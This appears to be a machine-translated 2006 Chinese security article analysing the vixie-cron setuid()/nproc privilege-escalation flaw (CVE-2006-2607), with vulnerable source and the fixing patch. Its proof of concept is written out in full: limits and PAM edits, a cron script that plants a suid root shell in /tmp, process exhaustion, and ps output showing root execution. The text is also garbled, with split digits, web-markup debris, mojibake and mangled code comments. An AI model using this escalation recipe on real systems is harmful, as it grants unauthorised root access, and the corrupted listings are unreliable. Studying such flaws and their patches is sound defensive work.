Lucene search

K
myhack58佚名MYHACK58:62200610889
HistoryAug 04, 2006 - 12:00 a.m.

Setuid() - nproc limit the type of vulnerability of in-depth analysis-vulnerability warning-the black bar safety net

2006-08-0400:00:00
佚名
www.myhack58.com
61

EPSS

0.001

Percentile

48.7%

Setuid() - nproc limit the type of vulnerability of in-depth analysis
(PST)

---------[ Subject : Setuid() - nproc limit the type of vulnerability of in-depth analysis ]
---------[ Author : axis([email protected]) ]
---------[ Copyright : www.ph4nt0m.org www.secwiki.com ]
---------[ Date : 07/20/2006 ]
---------[ Version : 1.0 ]

|=-----------------------------------------------------------------------------=|

---------[ Table of Contents ]

0x110 - Preface
0x120 - cron elevation of privilege vulnerability
0x130 - in-depth analysis
0x140 - Conclusion
0x150 - Reference

|=-----------------------------------------------------------------------------=|

---------[ 0x110 - Preface ]
Some time ago appeared a new type of vulnerability is not properly check the setuid()function’s return value.
setuid()if execution success,will return 0,if fails,returns-1. If the program as root run,assuming that the program is normally setuid(uid)after,speaking to reduce the permissions for the General user,but because of not checking setuid()return value,that is,for some reason,setuid fails,then the program probably also will continue to be run as root. This leads to some very dangerous things can happen.

---------[ 0x110 - vixie cron elevation of privilege vulnerability ]
Some time ago the vixie cron elevation of privilege vulnerability,is belonging to the type of vulnerability
Specific announcements see:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607

crond daemon is the root start of,each ordinary user can establish their own crontab
If you use pam_limits. so to limit the user to start the number of processes,when the user’s crontab in the start the number of processes reach the limit after the number,it will cause setuid to fail,so the child process will inherit the root permissions,continue to be run as root.

Specific We to the POC,the test platform is Redhat Enterprise Linux 4 Update 4

[axis@localhost temp]$Content$nbsp;uname-a
Linux localhost. localdomain 2.6.9-2 of 2. ELsmp #1 SMP Mon Sep 1 9 1 8:3 2:1 4 EDT 2 0 0 5 i686 i686 i386 GNU/Linux

[axis@localhost temp]$Content$nbsp;cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m

[axis@localhost temp]$Content$nbsp;rpm-qa |grep vixie
vixie-cron-4.1-3 6. EL4

[axis@localhost temp]$Content$nbsp;rpm-qa |grep pam
pam_ccreds-1-3
pam_smb-1.1.7-5
pam-devel-0.77-66.11
pam-0.77-66.11
pam_passwdqc-0.7.5 had-2
pam_krb5-2.1.8-1
spamassassin-3.0.4-1. el4
[axis@localhost temp]$Content$nbsp;

First modify the/etc/security/limits. conf
Add the following line:
axis hard nproc 4 0 0
This sentence meaning is to bring the axis to a user-initiated process limit to 4 0 0

Then modify/etc/pam. d/crond
Add the following line:
session required pam_limits. so
This sentence mean the crond using pam_limits. so,while the pam so it is reading the/etc/security/limits. conf configuration
So here,cron will limit the axis the user can only run 4 0 0 process.

Then establish the axis need to run the task.
Create the following shell script

[axis@localhost temp]$Content$nbsp;pwd
/home/axis/temp
[axis@localhost temp]$Content$nbsp;cat x. sh
#!/ bin/sh

cp /bin/sh /tmp/sh
chown root:root /tmp/sh
chmod 4 7 5 5 /tmp/sh

sleep 1 0 0 0 0 0 0;

[axis@localhost temp]$Content$nbsp;

The script in the/tmp established under a suid shell

Then add to the axis of the crontab:
[axis@localhost temp]$Content$nbsp;crontab-e

          • /home/axis/temp/x.sh
            ~
            ~
            ~
            ~
            Save and exit after you have established a good task.
            [axis@localhost temp]$Content$nbsp;crontab-l
          • /home/axis/temp/x.sh
            [axis@localhost temp]$Content$nbsp;

So every minute,ε°± 会 运葌 一欑 x.sh

仔细 ηœ‹ x.sh,as can be found,if there is no root access,then build out/tmp/sh is the main can only be the axis.

View under the current user’s number of processes
[axis@localhost temp]$Content$nbsp;ps axun | grep ’^ *5 0 0 ’ | wc-l
4
[axis@localhost temp]$Content$nbsp;

Only 4,and earlier in the/etc/security/limits. conf limit axis number of processes is 4 0 0
Then,using some of the consumption process

[axis@localhost temp]$Content$nbsp;./ daemon-s 1 0 0 0 0 0-p 3 8 0
Create the specified number of processes, the parent process exits.
[axis@localhost temp]$Content$nbsp;ps axun | grep ’^ *5 0 0 ’ | wc-l
3 9 0
[axis@localhost temp]$Content$nbsp;

daemon this small app is in the background to start the process,each process sleep 100000s,here we start a 3 8 0 a process,so now the process is the total number of 3 9 0

Immediately get to 4 0 0.

[axis@localhost temp]$Content$nbsp;ll /tmp
total 6 0 8
-rwsr-xr-x 1 axis axis 6 1 6 3 1 2 Jul 2 1 1 8:2 6 sh
[axis@localhost temp]$Content$nbsp;

You can now see/tmp/sh or axis for the owner,description of x. sh or in axis identity operation.

After a few minutes
[root@localhost ~]# ll /tmp
total 6 0 8
-rwsr-xr-x 1 root root 6 1 6 3 1 2 Jul 2 1 1 8:4 0 sh
[root@localhost ~]# ps axun | grep ’^ *5 0 0 ’ | wc-l
4 0 0
[root@localhost ~]#

You can see the/tmp/sh becomes the owner is root!
[root@localhost ~]# ps aufx

…

root 2 4 6 0 0.0 0.0 3 4 4 0 5 1 2 ? Ss Jul12 0:0 0 gpm-m /dev/input/mice-t exps2
root 2 4 7 0 0.0 0.0 6 4 0 0 1 0 9 6 ? Ss Jul12 0:0 0 crond
root 6 0 2 0 0.0 0.0 6 9 8 4 1 4 4 4 ? S 1 8:3 6 0:0 0 \_ crond
axis 6 0 2 1 0.0 0.0 3 5 3 6 8 4 8 ? Ss 1 8:3 6 0:0 0 | \_ /bin/sh /home/axis/temp/x.sh
axis 6 0 2 6 0.0 0.0 3 0 4 0 4 5 6 ? S 1 8:3 6 0:0 0| | \_ sleep 1 0 0 0 0 0 0
axis 6 0 2 4 0.0 0.1 7 9 5 6 2 5 5 6 ? S 1 8:3 6 0:0 0 | \_ /usr/sbin/sendmail-FCronDaemon-i-odi-oem-oi-t
root 6 0 3 5 0.0 0.0 6 9 8 4 1 4 4 4 ? S 1 8:3 7 0:0 0 \_ crond
axis 6 0 3 6 0.0 0.0 3 2 5 2 8 4 4 ? Ss 1 8:3 7 0:0 0 | \_ /bin/sh /home/axis/temp/x.sh
axis 6 0 4 1 0.0 0.0 2 5 7 6 4 5 6 ? S 1 8:3 7 0:0 0 | | \_ sleep 1 0 0 0 0 0 0
axis 6 0 3 9 0.0 0.1 7 1 6 4 2 5 6 4 ? S 1 8:3 7 0:0 0 | \_ /usr/sbin/sendmail-FCronDaemon-i-odi-oem-oi-t
root 6 0 7 3 0.0 0.0 6 9 8 4 1 4 4 4 ? S 1 8:3 8 0:0 0 \_ crond
axis 6 0 7 4 0.0 0.0 3 0 9 6 8 4 8 ? Ss 1 8:3 8 0:0 0 | \_ /bin/sh /home/axis/temp/x.sh
axis 6 0 7 9 0.0 0.0 2 4 5 6 4 5 6 ? S 1 8:3 8 0:0 0 | | \_ sleep 1 0 0 0 0 0 0
axis 6 0 7 7 0.0 0.1 6 5 3 2 2 5 6 4 ? S 1 8:3 8 0:0 0 | \_ /usr/sbin/sendmail-FCronDaemon-i-odi-oem-oi-t
root 6 4 8 1 0.0 0.0 6 9 8 4 1 4 4 4 ? S 1 8:3 9 0:0 0 \_ crond
axis 6 4 8 2 0.0 0.0 2 5 6 8 8 4 4 ? Ss 1 8:3 9 0:0 0 | \_ /bin/sh /home/axis/temp/x.sh
axis 6 4 8 7 0.0 0.0 2 7 6 0 4 5 6 ? S 1 8:3 9 0:0 0 | | \_ sleep 1 0 0 0 0 0 0
root 6 4 8 5 0.0 0.0 0 0 ? Z 1 8:3 9 0:0 0 | \_ [crond] <defunct>
root 6 5 0 7 0.0 0.0 6 9 8 0 1 4 2 0 ? S 1 8:4 0 0:0 0 \_ crond
root 6 5 0 8 0.0 0.0 3 9 1 2 8 4 8 ? Ss 1 8:4 0 0:0 0 \_ /bin/sh /home/axis/temp/x.sh
root 6 5 1 2 0.0 0.0 3 0 8 0 4 5 6 ? S 1 8:4 0 0:0 0 \_ sleep 1 0 0 0 0 0 0
xfs 2 4 9 6 0.0 0.0 4 2 2 8 1 4 1 6 ? Ss Jul12 0:0 0 xfs-droppriv-daemon
root 2 5 1 5 0.0 0.0 2 0 2 4 7 0 0 ? Ss Jul12 0:0 0 /usr/sbin/atd
dbus 2 5 2 5 0.0 0.0 3 1 6 0 1 0 2 4 ? Ss Jul12 0:0 0 dbus-daemon-1 --system
root 2 5 3 8 0.0 0.0 4 1 6 8 1 0 2 8 ? Ss Jul12 0:0 0 cups-config-daemon

…

Pay attention here!
root 6 5 0 7 0.0 0.0 6 9 8 0 1 4 2 0 ? S 1 8:4 0 0:0 0 \_ crond
root 6 5 0 8 0.0 0.0 3 9 1 2 8 4 8 ? Ss 1 8:4 0 0:0 0 \_ /bin/sh /home/axis/temp/x.sh
root 6 5 1 2 0.0 0.0 3 0 8 0 4 5 6 ? S 1 8:4 0 0:0 0 \_ sleep 1 0 0 0 0 0 0

本ζ₯ εΊ”θ―₯ 是δ»₯ axis η”¨ζˆ· θΊ«δ»½ 运葌 ηš„ x.sh,turn out to be run as root!

---------[ 0x110 - in-depth analysis ]

Caused by the above vulnerabilities for many reasons. First of all,if in/etc/security/limits. conf restricts the user’s process number,then the pam_limits. so will invoke pam_open_session(),If is the root to call him,it returns a PAM_SUCCESS,at the same time as root to perform it.
But when the user number of processes limit is reached the number of post,pam-0.79-9. 6 still allows the pam_open_session()is successful execution continues,but this time,crond child process will setuid()to fail, and vixie-cron-4.1 and didn’t check setuid()return value,without checking whether he has setuid()is successful,it would have been should use setuid()to drop right,but still as root in the run. But this time fork()is to be allowed,even has reached the user maximum number of processes,so,the task in as root to continue to run forever!! We can look at the code in do_command. c:

…

void
do_command(entry *e, user *u) {
Debug(DPROC, (β€œ[%ld] do_command(%s, (%s,%ld,%ld))\n”,
(long)getpid(), e->cmd, u->name,
(long)e->pwd->pw_uid, (long)e->pwd->pw_gid))

/* fork to become asynchronous – parent process is done immediately,

  • and continues to run the normal cron code, which means return to
  • tick(). the child and grandchild don’t leave this function, alive.
  • vfork() is unsuitable, since we have much to do, and the parent
  • needs to be able to run off and fork other processes.
    /
    switch (fork()) {
    case -1:
    log_it(β€œCRON”, getpid(), β€œerror”, β€œcan’t fork”);
    break;
    case 0:
    /
    child process /
    acquire_daemonlock(1);
    child_process(e, u);
    Debug(DPROC, (β€œ[%ld] child process done, exiting\n”,
    (long)getpid()))
    _exit(OK_EXIT);
    break;
    default:
    /
    parent process */
    break;
    }

…

/* set our directory, uid and gid. Set gid first, since once

  • we set uid, we’ve lost root privledges.
    */
    #ifdef LOGIN_CAP
    {
    #ifdef BSD_AUTH
    auth_session_t *as;
    #endif

…

#else
setgid(e->pwd->pw_gid);
initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 1 9 9 1 0 3)
setlogin(usernm);
#endif /* BSD /
setuid(e->pwd->pw_uid); /
we aren’t root after this… */

#endif /* LOGIN_CAP */
chdir(env_get(β€œHOME”, e->envp));

Watch here
setgid(e->pwd->pw_gid);
…
setuid(e->pwd->pw_uid); /* we aren’t root after this… */

Here is just a simple implementation of setuid(),and not do anything to check the return value of the measures.

Then look at the patch more clearly.

[root@localhost SOURCES]# cat vixie-cron-4.1-privilege_escalation. patch
-– vixie-cron-4.1/do_command. c. orig 2006-05-29 1 6:4 5:32.000000000 +0 2 0 0
+++ vixie-cron-4.1/do_command. c 2006-05-29 1 6:4 8:28.000000000 +0 2 0 0
@@ -300,12+300,24 @@
}
}
#else
- setgid(e->pwd->pw_gid);
+
initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 1 9 9 1 0 3)
setlogin(usernm);
#endif /* BSD /
- setuid(e->pwd->pw_uid); /
we aren’t root after this… /
+
+ if ( setgid(e->pwd->pw_gid) == -1 ) {
+ fprintf(stderr,β€œcan’t set gid for %s\n”, e->pwd->pw_name);
+ _exit(1);
+ }
+
+ if ( setuid(e->pwd->pw_uid) == -1 ) {
+ fprintf(stderr,β€œcan’t set uid for %s\n”, e->pwd->pw_name);
+ _exit(1);
+ }
+
+ /
we aren’t root after this… */
+

#endif /* LOGIN_CAP */
chdir(env_get(β€œHOME”, e->envp));
[root@localhost SOURCES]#

In the patch,the setuid()and setgid()the return value plus the limit.

This vulnerability is mainly pam caused by the characteristics,that is, if is a root implementation of pam_open_session(),then is can continue to fork (), even if the user nproc limit the limit is reached,but in this case setuid()but fail,so causing this problem. Its essence is:the fork()normal execution,and setuid()failed.

In Josh’s blog,he had mentioned in 2. 6 kernel,the default for each user set the nproc limit,so for the 2. 6 kernel,which is default can success provide the right.
见 :http://www.bress.net/blog/archives/34-setuid-madness.html

In fact, this is incorrect.

init_task. signal->rlim[RLIMIT_NPROC]. rlim_cur = max_threads/2;
init_task. signal->rlim[RLIMIT_NPROC]. rlim_max = max_threads/2;

Here indeed is to limit the user the number of processes,but RLIMIT_NPROC in 2. 4 the kernel you have,the number of processes and memory size, etc. are associated

[root@localhost ~]# ulimit-u
3 2 7 6 4
[root@localhost ~]#

Each user by default is can start 3 2 7 6 4 process,although you can use the ulimit-u command to modify him,but with the/etc/security/limits. conf to limit user nproc limit is still a difference.

After testing,directly using the ulimit-u to modify the number of processes,is unable to fork()out of the new user process,this is because as mentioned earlier, this vulnerability also with the pam is related to,the use of the pam properties,would have been a successful fork()

---------[ 0x110 - Conclusion ]

In summary,to successfully exploit this type of vulnerability,the need to meet three conditions:

  1. The program to run as root,at the same time fork()a child process,its child process via setuid()to drop right
  2. setuid()fails,but the program is not checking setuid()return value
  3. setuid()fails,also to be able to continue the successful fork(),so that is to run as root,so as to achieve a mention of the right to object.

pam nproc limit is just an example,as long as meet the above 3 conditions,it should be said there are such defects,if there are more vulnerabilities to wait for our tap?!

Finally, thank thiefox,gary

---------[ 0x110 - Reference ]

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=178431
http://www.bress.net/blog/archives/34-setuid-madness.html

-EOF-